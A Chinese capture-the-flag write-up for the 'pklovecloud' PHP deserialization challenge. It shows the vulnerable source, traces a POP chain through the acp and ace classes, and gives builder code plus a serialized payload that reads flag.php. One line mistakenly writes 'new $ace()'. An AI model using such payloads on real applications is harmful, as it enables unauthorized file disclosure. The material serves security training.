php反序列化漏洞典型例题

1.靶场环境

ctfhub-技能树-pklovecloud

引用题目:

2021-第五空间智能安全大赛-Web-pklovecloud

2.过程

2.1源代码

启动靶场环境,访问靶场环境,显示源码:直接贴在下面:

php 复制代码
<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

2.2代码审计思路

进行一下代码审计,记录一下思路:

1.直接看主函数:

php 复制代码
if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}

要进入if语句中,就必须传入一个get参数pks,然后对pks参数进行反序列化,获得logData对象,并且输出这个logData对象。

2.echo在输出一个对象时,是去调用这个对象的__toString()方法,因此我们跟踪到logData的__toString()方法:我们发现声明的acp对象有__toString()方法:

php 复制代码
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

3.这就说明在主函数中要echo一个logData对象,我们只需要让这个logData对象是acp类即可,因此我们构造pop链时首先创建一个acp对象。

4.我们观察到acp对象的__toString()方法中的if语句,要进入到这个if语句,就需要acp对象的cinder参数不为空,并且最终会return这个acp对象的cinder属性的echo_name()方法。

5.通过上面我们构造一个pop链:

acp->cinder->echo_name()

6.我们发现声明的pkshow和ace对象都有echo_name()方法,而很明显pkshow的echo_name()方法是写死的没有参数传入的,因此我们需要使用ace对象。所以根据上面的调用链,我们需要让acp对象的cinder参数为ace对象。

综合以上几点,我们需要构造pop链:

php 复制代码
$acp=new acp();
$ace=new $ace();
$acp->cinder=$ace;

7.通过以上pop链,已经可以调用到ace对象的echo_name()方法了,我们去看这个方法的执行逻辑:

php 复制代码
class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

发现最终的结果是返回file指向文件的内容,因此我们设置file="flag.php",而我们要进入if循环,就需要满足this-\>openstack-\>neutron === this->openstack->nova,也就是ace对象的openstack参数的neutron属性和nova属性相等,我们发现acp对象有这两个属性,因此我们要让ace对象的openstack属性为acp对象:需要新建一个acp对象。

php 复制代码
$this->openstack = unserialize($this->docker);

根据这行代码我们判断openstack参数是由docker参数反序列化得到的,因此ace对象的docker参数就是acp对象。下一行代码:

php 复制代码
$this->openstack->neutron = $heat;

这行代码中heat参数并不存在,因此neutron的值为null,我们需要让nova参数的值也为null,因此我们在声明acp对象的时候,不需要给nova赋值,结合上述构造pop链:

php 复制代码
class acp 
{   
    public $cinder;  
    public $neutron;
    public $nova; 
}  
class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
}  
$acp=new acp();

$acp2=new acp();

$ace=new $ace();
$ace->filename="flag.php";
$ace->docker=serialize($acp2);

$acp->cinder=$ace;
echo serialize($acp);

这样最后输出的值就是我们构造的恶意参数:

得到pop链:

php 复制代码
O:3:"acp":3:{s:6:"cinder";O:3:"ace":3:{s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:58:"O:3:"acp":3:{s:6:"cinder";N;s:7:"neutron";N;s:4:"nova";N;}";}s:7:"neutron";N;s:4:"nova";N;}

访问index.php构造恶意参数pks,F12查看源码获得flag:

相关推荐
apihz21 分钟前
域名WHOIS信息查询免费API使用指南
android·开发语言·数据库·网络协议·tcp/ip
coding随想35 分钟前
掌控网页的魔法之书:JavaScript DOM的奇幻之旅
开发语言·javascript·ecmascript
爱吃烤鸡翅的酸菜鱼1 小时前
IDEA高效开发:Database Navigator插件安装与核心使用指南
java·开发语言·数据库·编辑器·intellij-idea·database
枷锁—sha1 小时前
【DVWA系列】——CSRF——Medium详细教程
android·服务器·前端·web安全·网络安全·csrf
枷锁—sha1 小时前
跨站请求伪造漏洞(CSRF)详解
运维·服务器·前端·web安全·网络安全·csrf
心情好的小球藻2 小时前
Python应用进阶DAY9--类型注解Type Hinting
开发语言·python
惜.己2 小时前
使用python读取json数据,简单的处理成元组数组
开发语言·python·测试工具·json
Y4090012 小时前
C语言转Java语言,相同与相异之处
java·c语言·开发语言·笔记
笑衬人心。2 小时前
TCP 拥塞控制算法 —— 慢启动(Slow Start)笔记
笔记·tcp/ip·php
2301_780789666 小时前
UDP和TCP的主要区别是什么
服务器·网络协议·web安全·网络安全·udp